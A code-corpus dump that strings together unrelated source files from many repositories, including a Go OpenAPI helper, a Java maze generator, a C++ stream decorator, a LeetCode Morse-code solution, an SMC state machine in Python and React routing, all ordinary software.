<reponame>eden-framework/eden-framework package operator import ( "gitee.com/eden-framework/eden-framework/internal/generator/importer" "github.com/go-courier/oas" "regexp" "strings" ) func RefName(ref oas.Refer) string { parts := strings.Split(ref.RefString(), "/") return parts[len(parts)-1] } func BasicType(schemaType string, format string, ipt *importer.PackageImporter) string { switch format { case "binary": return ipt.Use("mime/multipart.FileHeader") case "byte", "int", "int8", "int16", "int32", "int64", "rune", "uint", "uint8", "uint16", "uint32", "uint64", "uintptr", "float32", "float64": return format case "float": return "float32" case "double": return "float64" default: switch schemaType { case "boolean": return "bool" default: return "string" } } } func PathFromSwaggerPath(str string) string { r := regexp.MustCompile(`/\{([^/\\}]+)\}`) result := r.ReplaceAllString(str, "/:$1") return result } func RequestOf(id string) string { return id + "Request" } func ResponseOf(id string) string { return id + "Response" } func mayComposedFieldSchema(schema *oas.Schema) *oas.Schema { // for named field if schema.AllOf != nil && len(schema.AllOf) == 2 && schema.AllOf[len(schema.AllOf)-1].Type == "" { nextSchema := &oas.Schema{ Reference: schema.AllOf[0].Reference, SchemaObject: schema.AllOf[1].SchemaObject, } for k, v := range schema.AllOf[1].SpecExtensions.Extensions { nextSchema.AddExtension(k, v) } for k, v := range schema.SpecExtensions.Extensions { nextSchema.AddExtension(k, v) } return nextSchema } return schema }
pegurnee/2015-02-592
projects/instructions/2_project/src/Consumer.java
<gh_stars>0 /** * Consumer.java * * This is the consumer thread for the bounded buffer problem. * * @author <NAME>, <NAME>, <NAME> * @version 1.0 - July 15, 1999 * Copyright 2000 by <NAME>, <NAME>, <NAME> * Applied Operating Systems Concepts - John Wiley and Sons, Inc. */ import java.util.*; public class Consumer extends Thread { public Consumer(BoundedBuffer b) { buffer = b; } public void run() { Date message; while (true) { BoundedBuffer.napping(); // consume an item from the buffer System.out.println("Consumer wants to consume."); message = (Date)buffer.remove(); } } private BoundedBuffer buffer; }
bartoszgolek/whattodofordinner
app/src/main/java/biz/golek/whattodofordinner/business/controllers/ShowGeneratePromptsPreferencesControllerImpl.java
<filename>app/src/main/java/biz/golek/whattodofordinner/business/controllers/ShowGeneratePromptsPreferencesControllerImpl.java package biz.golek.whattodofordinner.business.controllers; import biz.golek.whattodofordinner.business.contract.controllers.ShowGeneratePromptsPreferencesController; import biz.golek.whattodofordinner.business.contract.interactors.ShowGeneratePromptsPreferences; /** * Created by bg on 10.02.16. */ public class ShowGeneratePromptsPreferencesControllerImpl implements ShowGeneratePromptsPreferencesController { private ShowGeneratePromptsPreferences interactor; public ShowGeneratePromptsPreferencesControllerImpl(ShowGeneratePromptsPreferences interactor) { this.interactor = interactor; } @Override public void Run() { interactor.Run(); } }
chptr-one/Hyperskill-JetBrains_Academy
Maze Runner/maze/Maze.java
package maze; import java.io.*; import java.util.*; import java.util.stream.*; public class Maze implements Serializable { private final static String PASS = " "; private final static String WALL = "\u2588\u2588"; private final int rowsToPrint; private final int colsToPrint; private final Graph<Cell> graph; private final int rows; private final int cols; private Cell entrance; private Cell exit; public Maze(int rows, int cols) { if (rows < 3 || cols < 3) throw new IllegalArgumentException(); rowsToPrint = rows; colsToPrint = cols; this.rows = (rows - 1) / 2; this.cols = (cols - 1) / 2; graph = new Graph<>(); entrance = null; exit = null; } // Recursive back tracker public void generate() { final Random random = new Random(); final Deque<Cell> stack = new LinkedList<>(); entrance = Cell.getInstance(0, 0); exit = Cell.getInstance(rows - 1, cols - 1); Cell current = entrance; stack.push(current); graph.addVertex(current); while (!stack.isEmpty()) { List<Cell> neighbours = getUnvisitedNeighbors(current); if (!neighbours.isEmpty()) { Cell randomNeighbor = neighbours.get(random.nextInt(neighbours.size())); graph.addVertex(randomNeighbor); graph.addEdge(current, randomNeighbor); current = randomNeighbor; stack.push(current); } else { current = stack.pop(); } } } public List<Cell> findEscape() { final Set<Cell> visited = new HashSet<>(); final Deque<Cell> path = new LinkedList<>(); Cell current = entrance; visited.add(current); while (!current.equals(exit)) { List<Cell> unvisitedNeighbours = graph.adjacency(current) .stream() .filter(cell -> !visited.contains(cell)) .collect(Collectors.toList()); if (unvisitedNeighbours.size() > 0) { path.push(current); current = unvisitedNeighbours.get(0); visited.add(current); } else { current = path.pop(); } } path.push(current); return new ArrayList<>(path); } private List<Cell> getUnvisitedNeighbors(Cell cell) { int row = cell.getRow(); int col = cell.getCol(); List<Cell> result = new ArrayList<>(); Cell neighbor; if (row > 0) { neighbor = Cell.getInstance(row - 1, col); if (!graph.containsVertex(neighbor)) result.add(neighbor); } if (row < rows - 1) { neighbor = Cell.getInstance(row + 1, col); if (!graph.containsVertex(neighbor)) result.add(neighbor); } if (col > 0) { neighbor = Cell.getInstance(row, col - 1); if (!graph.containsVertex(neighbor)) result.add(neighbor); } if (col < cols - 1) { neighbor = Cell.getInstance(row, col + 1); if (!graph.containsVertex(neighbor)) result.add(neighbor); } return result; } public void print() { int[][] matrix = new int[rowsToPrint][colsToPrint]; for (int[] row : matrix) { Arrays.fill(row, 1); } for (Cell cell : graph.getVertices()) { int cellRow = cell.getRow(); int cellCol = cell.getCol(); matrix[cellRow * 2 + 1][cellCol * 2 + 1] = 0; for (Cell neighbour : graph.adjacency(cell)) { int deltaRow = neighbour.getRow() - cellRow; int deltaCol = neighbour.getCol() - cellCol; matrix[(cellRow * 2 + 1) + deltaRow][(cellCol * 2 + 1) + deltaCol] = 0; } } matrix[entrance.getRow() * 2][entrance.getCol() * 2 + 1] = 0; matrix[exit.getRow() * 2 + 2][exit.getCol() * 2 + 1] = 0; if (rowsToPrint % 2 == 0) { matrix[0][entrance.getCol() * 2 + 1] = 0; matrix[exit.getRow() * 2 + 3][exit.getCol() * 2 + 1] = 0; } for (int[] row : matrix) { for (int i : row) { System.out.print(i == 1 ? WALL : PASS); } System.out.println(); } } public void printEscape() { int[][] matrix = new int[rowsToPrint][colsToPrint]; for (int[] row : matrix) { Arrays.fill(row, 1); } for (Cell cell : graph.getVertices()) { int cellRow = cell.getRow(); int cellCol = cell.getCol(); matrix[cellRow * 2 + 1][cellCol * 2 + 1] = 0; for (Cell neighbour : graph.adjacency(cell)) { int deltaRow = neighbour.getRow() - cellRow; int deltaCol = neighbour.getCol() - cellCol; matrix[(cellRow * 2 + 1) + deltaRow][(cellCol * 2 + 1) + deltaCol] = 0; } } List<Cell> path = findEscape(); for (int i = 0; i < path.size() - 1; i++) { int row = path.get(i).getRow(); int col = path.get(i).getCol(); matrix[row * 2 + 1][col * 2 + 1] = -1; int deltaRow = path.get(i + 1).getRow() - row; int deltaCol = path.get(i + 1).getCol() - col; matrix[row * 2 + 1 + deltaRow][col * 2 + 1 + deltaCol] = -1; } matrix[entrance.getRow() * 2 + 1][entrance.getCol() * 2 + 1] = -1; matrix[entrance.getRow() * 2][entrance.getCol() * 2 + 1] = -1; matrix[exit.getRow() * 2 + 2][exit.getCol() * 2 + 1] = -1; if (rowsToPrint % 2 == 0) { matrix[0][entrance.getCol() * 2 + 1] = -1; matrix[exit.getRow() * 2 + 3][exit.getCol() * 2 + 1] = -1; } for (int[] row : matrix) { for (int i : row) { System.out.print(i == 1 ? WALL : i == 0 ? PASS : "//"); } System.out.println(); } } }
maple3142/craft2d
src/net/maple3142/craft2d/game/utils/BreakingTimeCalculator.java
package net.maple3142.craft2d.game.utils; import net.maple3142.craft2d.game.block.BreakableBlock; import net.maple3142.craft2d.game.item.Tool; public class BreakingTimeCalculator { public static int hardnessToTime = 1000; public static int calculate(Tool tool, BreakableBlock target) { // ms if (target == null) return 0; double h = target.getHardness(); if (h < 0) return -1; if (h == 0) return 0; var mul = tool == null ? 1 : tool.getHardnessMultiplier(target); return (int) (h * mul * hardnessToTime); } }
automaton82/pspace
CommonGame/StreamDecorator.cpp
#include "StreamDecorator.h" OutputStreamDecorator::OutputStreamDecorator() : // std::ostream(0), baseStream_(0), baseStreamDec_(0) // wroteLine_(false) { } OutputStreamDecorator::OutputStreamDecorator(std::ostream* baseStream) : // std::ostream(0), baseStream_(baseStream), baseStreamDec_(0) // wroteLine_(false) { } OutputStreamDecorator::OutputStreamDecorator(OutputStreamDecorator* baseStream) : // std::ostream(0), baseStream_(0), baseStreamDec_(baseStream) // wroteLine_(false) { } OutputStreamDecorator::~OutputStreamDecorator() { if(baseStreamDec_) delete baseStreamDec_; } /*std::ostream* OutputStreamDecorator::getBaseStream() const { return baseStream_; }*/ void OutputStreamDecorator::setBaseStream(std::ostream* baseStream) { baseStream_ = baseStream; baseStreamDec_ = 0; } void OutputStreamDecorator::setBaseStream(OutputStreamDecorator* baseStream) { baseStream_ = 0; baseStreamDec_ = baseStream; } /*void OutputStreamDecorator::prependLine() { } void OutputStreamDecorator::postpendLine() { }*/ void OutputStreamDecorator::flush() { assertStream(); //postpendLine(); //wroteLine_ = false; flushStream(); } void OutputStreamDecorator::put(char c) { assertStream(); //prepend(); putStream(c); } void OutputStreamDecorator::write(const char* s, int size) { assertStream(); //prepend(); //writeStream(s, size); string str; str.append(s, size); write(str); } void OutputStreamDecorator::write(const string& s) { assertStream(); //prepend(); writeStream(s.c_str(), (int)s.size()); } OutputStreamDecorator& OutputStreamDecorator::operator<< (bool val) { assertStream(); //prepend(); streamStream(val); return *this; } OutputStreamDecorator& OutputStreamDecorator::operator<< (short val) { assertStream(); //prepend(); streamStream(val); return *this; } OutputStreamDecorator& OutputStreamDecorator::operator<< (unsigned short val) { assertStream(); //prepend(); streamStream(val); return *this; } OutputStreamDecorator& OutputStreamDecorator::operator<< (int val) { assertStream(); //prepend(); streamStream(val); return *this; } OutputStreamDecorator& OutputStreamDecorator::operator<< (unsigned int val) { assertStream(); //prepend(); streamStream(val); return *this; } OutputStreamDecorator& OutputStreamDecorator::operator<< (long val) { assertStream(); //prepend(); streamStream(val); return *this; } OutputStreamDecorator& OutputStreamDecorator::operator<< (unsigned long val) { assertStream(); //prepend(); streamStream(val); return *this; } OutputStreamDecorator& OutputStreamDecorator::operator<< (float val) { assertStream(); //prepend(); streamStream(val); return *this; } OutputStreamDecorator& OutputStreamDecorator::operator<< (double val) { assertStream(); //prepend(); streamStream(val); return *this; } OutputStreamDecorator& OutputStreamDecorator::operator<< (long double val) { assertStream(); //prepend(); streamStream(val); return *this; } OutputStreamDecorator& OutputStreamDecorator::operator<< (void* val) { assertStream(); //prepend(); streamStream(val); return *this; } OutputStreamDecorator& OutputStreamDecorator::operator<< (OutputStreamDecorator& (*pf)(OutputStreamDecorator&)) { //prepend(); (*pf)(*this); return (*this); } /*OutputStreamDecorator& OutputStreamDecorator::operator<< (char val) { put(val); return (*this); } OutputStreamDecorator& OutputStreamDecorator::operator<< (const char* val) { write(val); return (*this); } OutputStreamDecorator& OutputStreamDecorator::operator<< (const string& val) { write(val); return (*this); }*/ //FRIENDS OutputStreamDecorator& operator<< (OutputStreamDecorator& s, char val) { s.put(val); return s; } OutputStreamDecorator& operator<< (OutputStreamDecorator& s, signed char val) { s.put(val); return s; } OutputStreamDecorator& operator<< (OutputStreamDecorator& s, unsigned char val) { s.put(val); return s; } OutputStreamDecorator& operator<< (OutputStreamDecorator& s, const char* val) { s.write(val); return s; } OutputStreamDecorator& operator<< (OutputStreamDecorator& s, const signed char* val) { s.write((char*)val); return s; } OutputStreamDecorator& operator<< (OutputStreamDecorator& s, const unsigned char* val) { s.write((char*)val); return s; } OutputStreamDecorator& operator<< (OutputStreamDecorator& s, const string& val) { s.write(val); return s; } OutputStreamDecorator& endl(OutputStreamDecorator& s) { s.put('\n'); s.flush(); return s; } OutputStreamDecorator& ends(OutputStreamDecorator& s) { s.flush(); return s; } /*void OutputStreamDecorator::prepend() { if(!wroteLine_) { //(*base_) << "[" << getLocalTime24() << "] "; prependLine(); wroteLine_ = true; } }*/
nick6655/management-sdk-python
cohesity_management_sdk/models/san_env_job_parameters.py
<reponame>nick6655/management-sdk-python<gh_stars>10-100 # -*- coding: utf-8 -*- # Copyright 2021 Cohesity Inc. class SanEnvJobParameters(object): """Implementation of the 'SanEnvJobParameters' model. Specifies job parameters applicable for all SAN Environment types Protection Sources in a Protection Job. Attributes: max_snapshots_on_primary (long|int): Specifies how many recent snapshots of each backed up entity to retain on the primary environment. If not specified, then snapshots will not be be deleted from the primary environment. """ # Create a mapping from Model property names to API property names _names = { "max_snapshots_on_primary":'maxSnapshotsOnPrimary' } def __init__(self, max_snapshots_on_primary=None): """Constructor for the SanEnvJobParameters class""" # Initialize members of the class self.max_snapshots_on_primary = max_snapshots_on_primary @classmethod def from_dictionary(cls, dictionary): """Creates an instance of this model from a dictionary Args: dictionary (dictionary): A dictionary representation of the object as obtained from the deserialization of the server's response. The keys MUST match property names in the API description. Returns: object: An instance of this structure class. """ if dictionary is None: return None # Extract variables from the dictionary max_snapshots_on_primary = dictionary.get('maxSnapshotsOnPrimary') # Return an object of this model return cls(max_snapshots_on_primary)
bgoonz/DS-n-Algos-Mega-Archive
LEETCODE/01-JS-Files/804_unique_morse_code_words.js
<filename>LEETCODE/01-JS-Files/804_unique_morse_code_words.js /* International Morse Code defines a standard encoding where each letter is mapped to a series of dots and dashes, as follows: "a" maps to ".-", "b" maps to "-...", "c" maps to "-.-.", and so on. For convenience, the full table for the 26 letters of the English alphabet is given below: [".-","-...","-.-.","-..",".","..-.","--.","....","..",".---","-.-",".-..","--","-.","---",".--.","--.-",".-.","...","-","..-","...-",".--","-..-","-.--","--.."] Now, given a list of words, each word can be written as a concatenation of the Morse code of each letter. For example, "cba" can be written as "-.-..--...", (which is the concatenation "-.-." + "-..." + ".-"). We'll call such a concatenation, the transformation of a word. Return the number of different transformations among all words we have. Example: Input: words = ["gin", "zen", "gig", "msg"] Output: 2 Explanation: The transformation of each word is: "gin" -> "--...-." "zen" -> "--...-." "gig" -> "--...--." "msg" -> "--...--." There are 2 different transformations, "--...-." and "--...--.". Note: The length of words will be at most 100. Each words[i] will have length in range [1, 12]. words[i] will only consist of lowercase letters. */ var uniqueMorseRepresentations = function (words) { let transformations = {}; const alphabet = "abcdefghijklmnopqrstuvwxyz"; const morse = [".-", "-...", "-.-.", "-..", ".", "..-.", "--.", "....", "..", ".---", "-.-", ".-..", "--", "-.", "---", ".--.", "--.-", ".-.", "...", "-", "..-", "...-", ".--", "-..-", "-.--", "--.."] for (let j = 0; j < words.length; j++) { let currWord = []; for (let i = 0; i < words[j].length; i++) { let alphaIdx = alphabet.indexOf(words[j][i]); currWord.push(morse[alphaIdx]) } console.log(currWord.join("")) if (!transformations[currWord.join("")]) { transformations[currWord.join("")] = 1 } else { transformations[currWord.join("")] += 1 } } return Object.keys(transformations).length; };
lucydot/devsim
src/Data/MaterialDB.hh
/*** DEVSIM Copyright 2013 Devsim LLC Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ***/ #ifndef MATERIALDB_HH #define MATERIALDB_HH #include <string> #include <map> class Region; typedef Region *RegionPtr; class Device; typedef Device *DevicePtr; extern "C" { struct Tcl_Interp; } #include "MaterialDBEntry.hh" extern "C" { typedef struct sqlite3 sqlite3; typedef struct sqlite3_stmt sqlite3_stmt; } class MaterialDB; typedef std::pair<bool, MaterialDBEntry> MaterialDBEntry_t; // This class is supposed to contain everything class MaterialDB { public: ///// material, parameter name, db entry typedef std::map<std::string, MaterialDBEntry> ParameterDataMap_t; typedef std::map<std::string, ParameterDataMap_t > MaterialDataMap_t; typedef std::pair<bool, double> DoubleDBEntry_t; typedef std::pair<bool, MaterialDBEntry> DBEntry_t; static MaterialDB &GetInstance(); static void DestroyInstance(); enum class OpenType_t {READONLY, READWRITE, CREATE}; bool OpenDB(const std::string &/*filename*/, OpenType_t /*flags*/, std::string &/*errorString*/); void AddDBEntry(const std::string &/*material_name*/, const std::string &/*parameter_name*/, const MaterialDBEntry &/*dbentry*/); DoubleDBEntry_t GetDoubleDBEntry(const std::string &/*material_name*/, const std::string &/*parameter_name*/); DBEntry_t GetDBEntry(const std::string &/*material_name*/, const std::string &/*parameter_name*/); bool SaveDB(std::string &/*errorString*/); bool CreateDB(const std::string &/*filename*/, std::string &/*errorString*/); void CloseDB(); const ParameterDataMap_t &GetOpenEntries(const std::string &/*MaterialName*/) const; private: void ClearEntries(); MaterialDB(); MaterialDB(MaterialDB &); MaterialDB &operator=(MaterialDB &); ~MaterialDB(); static MaterialDB *instance; MaterialDataMap_t materialData; ParameterDataMap_t emptyData; std::string db_name_; sqlite3 *sqlite_; }; #endif
logox01/performance-signature-dynatrace-plugin
dynatrace-appmon/src/test/java/de/tsystems/mms/apm/performancesignature/dynatrace/rest/xml/DashboardXMLHandlerTest.java
/* * Copyright (c) 2014-2018 T-Systems Multimedia Solutions GmbH * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package de.tsystems.mms.apm.performancesignature.dynatrace.rest.xml; import de.tsystems.mms.apm.performancesignature.dynatrace.model.ChartDashlet; import de.tsystems.mms.apm.performancesignature.dynatrace.model.DashboardReport; import org.junit.Test; import javax.xml.bind.JAXBContext; import javax.xml.bind.JAXBException; import javax.xml.bind.Unmarshaller; import java.io.File; import java.util.List; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; public class DashboardXMLHandlerTest { private static boolean containsMeasure(List<ChartDashlet> chartDashlets, String searchString) { return chartDashlets.stream().flatMap(cd -> cd.getMeasures().stream()).anyMatch(m -> m.getName().equalsIgnoreCase(searchString)); } @Test public void testXMLParser() throws JAXBException { File file = new File("src/test/resources/dashboardXMLHandlerTest.xml"); JAXBContext jaxbContext = JAXBContext.newInstance(DashboardReport.class); Unmarshaller jaxbUnmarshaller = jaxbContext.createUnmarshaller(); DashboardReport dashboardReport = (DashboardReport) jaxbUnmarshaller.unmarshal(file); //assertEquals(dashboardReport.getIncidents().size(), 2); assertEquals(6, dashboardReport.getChartDashlets().size()); assertTrue(containsMeasure(dashboardReport.getChartDashlets(), "Synthetic Web Requests by Timer Name - PurePath Response Time")); assertTrue(containsMeasure(dashboardReport.getChartDashlets(), "Total GC Utilization")); } }
seekersapp2013/new
node_modules/carbon-icons-svelte/lib/Badge24/index.js
import Badge24 from "./Badge24.svelte"; export default Badge24;
luckyvs1/cradleplatform
frontend/marsapp/src/App.js
/** * Summary: * Handles the routing for all the pages */ import React from "react"; import PropTypes from "prop-types"; import {Route} from "react-router-dom"; import HomePage from "./component/pages/HomePage"; import LoginPage from "./component/pages/LoginPage"; import DashboardPage from "./component/pages/DashboardPage"; import SignupPage from "./component/pages/SignupPage"; import ForgotPasswordPage from "./component/pages/ForgotPasswordPage"; import ResetPasswordPage from "./component/pages/ResetPasswordPage"; import {UserRoute} from "./component/routes/UserRoute"; import TopNavigation from "./component/navigation/TopNavigation"; import PatientDetail from "./component/pages/patients/PatientDetail"; import './App.css'; import Help from "./component/pages/help/Help"; import ListPatient from "./component/pages/patients/ListPatient"; import Referral from "./component/pages/Referral/Referral"; import ReferralDetail from "./component/pages/Referral/ReferralDetail"; import CreateReferral from "./component/pages/Referral/CreateReferral"; import AddReadingDetail from "./component/pages/readings/AddReadingDetail"; import AddPatient from "./component/pages/patients/AddPatient"; import Account from "./component/pages/users/Account"; import AllFollowUp from "./component/pages/followUp/AllFollowUp"; import FollowUpDetail from "./component/pages/followUp/FollowUpDetail"; import ListUser from "./component/pages/users/ListUser" import AddUsers from "./component/pages/users/AddUsers" import TransferVHT from "./component/pages/TransferVHT"; import AddMedicationDetail from "./component/pages/patients/AddMedicationDetail"; import CreateDiagnosis from "./component/pages/readings/CreateDiagnosis" import {HCWRoute} from "./component/routes/HCWRoute"; import {VHTRoute} from "./component/routes/VHTRoute"; const App = ({location, isAuthenticated}) => ( <div className="ui-toolbar"> {isAuthenticated && <TopNavigation/>} <Route location={location} path="/" exact component={LoginPage}/> <VHTRoute location={location} path="/homePage" exact component={HomePage}/> <HCWRoute location={location} path="/signup" exact component={SignupPage} /> <VHTRoute location={location} path="/addReadingDetail" exact component={AddReadingDetail} /> <VHTRoute location={location} path="/listPatient" exact component={ListPatient} /> <VHTRoute location={location} path="/help" exact component={Help} /> <HCWRoute location={location} path="/referral" exact component={Referral} /> <HCWRoute location={location} path="/referralDetail" exact component={ReferralDetail} /> <HCWRoute location={location} path="/createReferral" exact component={CreateReferral} /> <VHTRoute location={location} path="/patientDetail" exact component={PatientDetail} /> <VHTRoute location={location} path="/allFollowUp" exact component={AllFollowUp} /> <VHTRoute location={location} path="/followUpDetail" exact component={FollowUpDetail} /> <VHTRoute location={location} path="/account" exact component={Account} /> <VHTRoute location={location} path="/addPatient" exact component={AddPatient} /> <HCWRoute location={location} path="/forgot_password" exact component={ForgotPasswordPage} /> <HCWRoute location={location} path="/reset_password/:token" exact component={ResetPasswordPage} /> <UserRoute location={location} path="/dashboard" exact component={DashboardPage} /> <UserRoute location={location} path="/listUser" exact component={ListUser} /> <UserRoute location={location} path="/addUser" exact component={AddUsers} /> <HCWRoute location={location} path="/transferVHT" exact component={TransferVHT} /> <HCWRoute location={location} path="/addMedication" exact component={AddMedicationDetail} /> <HCWRoute location={location} path="/createDiagnosis" exact component={CreateDiagnosis} /> </div> ); App.propTypes = { location: PropTypes.shape({ pathname: PropTypes.string.isRequired }).isRequired, isAuthenticated: PropTypes.bool.isRequired }; export default (App);
soldiers1989/market5
message-server/src/main/java/com/dynamo/message/service/emay/EmayHttpResponseBytes.java
<reponame>soldiers1989/market5 package com.dynamo.message.service.emay; import java.util.List; import java.util.Map; /** * 【自定义】String类型Http响应 * * @author Frank * */ public class EmayHttpResponseBytes { private EmayHttpResultCode resultCode; //HttpClient 结果代码 private int httpCode; //Http链接Code private Map<String, String> headers;//Http响应头 private List<String> cookies;//http响应Cookies private byte[] resultBytes;//http响应数据 private String charSet;//http响应编码 /** * * @param charSet http响应编码 * @param resultCode HttpClient结果代码 * @param httpCode Http链接Code * @param headers Http响应头 * @param cookies http响应Cookies * @param resultString http响应数据 */ public EmayHttpResponseBytes(String charSet,EmayHttpResultCode resultCode, int httpCode, Map<String, String> headers, List<String> cookies, byte[] resultBytes) { this.resultCode = resultCode; this.httpCode = httpCode; this.headers = headers; this.cookies = cookies; this.resultBytes = resultBytes; this.charSet = charSet; } public EmayHttpResultCode getResultCode() { return resultCode; } public void setResultCode(EmayHttpResultCode resultCode) { this.resultCode = resultCode; } public int getHttpCode() { return httpCode; } public void setHttpCode(int httpCode) { this.httpCode = httpCode; } public Map<String, String> getHeaders() { return headers; } public void setHeaders(Map<String, String> headers) { this.headers = headers; } public List<String> getCookies() { return cookies; } public void setCookies(List<String> cookies) { this.cookies = cookies; } public String getCharSet() { return charSet; } public void setCharSet(String charSet) { this.charSet = charSet; } public byte[] getResultBytes() { return resultBytes; } public void setResultBytes(byte[] resultBytes) { this.resultBytes = resultBytes; } }
dilin993/carbon-analytics-common
components/data-bridge/org.wso2.carbon.databridge.core/src/main/java/org/wso2/carbon/databridge/core/internal/authentication/session/SessionCache.java
/* * Copyright (c) 2005-2010, WSO2 Inc. (http://www.wso2.org) All Rights Reserved. * * WSO2 Inc. licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file except * in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.wso2.carbon.databridge.core.internal.authentication.session; import com.google.common.base.Function; import com.google.common.cache.CacheBuilder; import com.google.common.cache.CacheLoader; import com.google.common.cache.LoadingCache; import org.wso2.carbon.databridge.core.utils.AgentSession; import java.util.concurrent.ExecutionException; import java.util.concurrent.TimeUnit; /** * Cache that contains all agent sessions. */ public class SessionCache { private LoadingCache<SessionBean, AgentSession> cache; public SessionCache(int expirationTimeInMinutes) { cache = CacheBuilder.newBuilder() .expireAfterWrite(expirationTimeInMinutes, TimeUnit.MINUTES) .build(CacheLoader.from(new SessionFunction())); } static class SessionFunction implements Function<SessionBean, AgentSession> { @Override public AgentSession apply(SessionBean sessionBean) { return new AgentSession(sessionBean.getSessionId(), sessionBean.getCredentials()); } } public AgentSession getSession(SessionBean sessionBean) { try { return cache.get(sessionBean); } catch (ExecutionException e) { throw new RuntimeException(e); } } public void removeSession(String sessionId) { cache.invalidate(new SessionBean(sessionId)); } }
ArrogantWombatics/openbsd-src
libexec/ld.so/ldconfig/ldconfig_path.c
<reponame>ArrogantWombatics/openbsd-src /* $OpenBSD: ldconfig_path.c,v 1.1 2016/07/04 20:56:50 kettenis Exp $ */ /* * Copyright (c) 2013 <NAME> <<EMAIL>> * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include <sys/types.h> #include <stdlib.h> #include <string.h> #include "util.h" void * _dl_reallocarray(void *ptr, size_t cnt, size_t num) { return reallocarray(ptr, cnt, num); } void * _dl_malloc(size_t need) { void *ret = malloc(need); if (ret != NULL) memset(ret, 0, need); return (ret); } void _dl_free(void *p) { free(p); } #include "path.c"
Dieptranivsr/Ros_Diep
melodic/lib/python2.7/dist-packages/smclib/statemap.py
# # The contents of this file are subject to the Mozilla Public # License Version 1.1 (the "License"); you may not use this file # except in compliance with the License. You may obtain a copy of # the License at http://www.mozilla.org/MPL/ # # Software distributed under the License is distributed on an "AS # IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or # implied. See the License for the specific language governing # rights and limitations under the License. # # The Original Code is State Machine Compiler (SMC). # # The Initial Developer of the Original Code is <NAME>. # Portions created by <NAME> are # Copyright (C) 2005. <NAME>. # All Rights Reserved. # # Port to Python by <NAME>, <EMAIL> # Copyright 2004, <NAME>. # All Rights Reserved. # # Contributor(s): # # RCS ID # $Id: statemap.py,v 1.7 2009/11/24 20:42:39 cwrapp Exp $ # # See: http://smc.sourceforge.net/ # import sys class StateUndefinedException(Exception): """A StateUndefinedException is thrown by an SMC-generated state machine whenever a transition is taken and there is no state currently set. This occurs when a transition is issued from within a transition action.""" pass class TransitionUndefinedException(Exception): """A TransitionUndefinedException is thrown by an SMC-generated state machine whenever a transition is taken which: - Is not explicitly defined in the current state. - Is not explicitly defined in the current FSM's default state. - There is no Default transition in the current state.""" pass class State(object): """base State class""" def __init__(self, name, id): self._name = name self._id = id def getName(self): """Returns the state's printable name.""" return self._name def getId(self): """Returns the state's unique identifier.""" return self._id class FSMContext(object): """The user can derive FSM contexts from this class and interface to them with the methods of this class. The finite state machine needs to be initialized to the starting state of the FSM. This must be done manually in the constructor of the derived class. """ def __init__(self, state): self._state = state self._previous_state = None self._state_stack = [] self._transition = None self._debug_flag = False self._debug_stream = sys.stderr def getDebugFlag(self): """Returns the debug flag's current setting.""" return self._debug_flag def setDebugFlag(self, flag): """Sets the debug flag. A true value means debugging is on and false means off.""" self._debug_flag = flag def getDebugStream(self): """Returns the stream to which debug output is written.""" return self._debug_stream def setDebugStream(self, stream): """Sets the debug output stream.""" self._debug_stream = stream def getState(self): """Returns the current state.""" if self._state is None: raise StateUndefinedException return self._state def isInTransition(self): """Is this state machine already inside a transition? True if state is undefined.""" if self._state is None: return True else: return False def getTransition(self): """Returns the current transition's name. Used only for debugging purposes.""" return self._transition def clearState(self): """Clears the current state.""" self._previous_state = self._state self._state = None def getPreviousState(self): """Returns the state which a transition left. May be None""" return self._previous_state def setState(self, state): """Sets the current state to the specified state.""" if not isinstance(state, State): raise ValueError("state should be a statemap.State") self._state = state if self._debug_flag: self._debug_stream.write("NEW STATE : %s\n" % self._state.getName()) def isStateStackEmpty(self): """Returns True if the state stack is empty and False otherwise.""" return len(self._state_stack) == 0 def getStateStackDepth(self): """Returns the state stack's depth.""" return len(self._state_stack) def pushState(self, state): """Push the current state on top of the state stack and make the specified state the current state.""" if not isinstance(state, State): raise ValueError("state should be a statemap.State") if self._state is not None: self._state_stack.append(self._state) self._state = state if self._debug_flag: self._debug_stream.write("PUSH TO STATE : %s\n" % self._state.getName()) def popState(self): """Make the state on top of the state stack the current state.""" if len(self._state_stack) == 0: if self._debug_flag: self._debug_stream.write("POPPING ON EMPTY STATE STACK.\n") raise ValueError("empty state stack") else: self._state = self._state_stack.pop() if self._debug_flag: self._debug_stream.write("POP TO STATE : %s\n" % self._state.getName()) def emptyStateStack(self): """Remove all states from the state stack.""" self._state_stack = []
skullbaselab/aa-afterdark
sf-lecture-notes-master/sql/w3d5-metaprogramming/deprecated/old_demo.rb
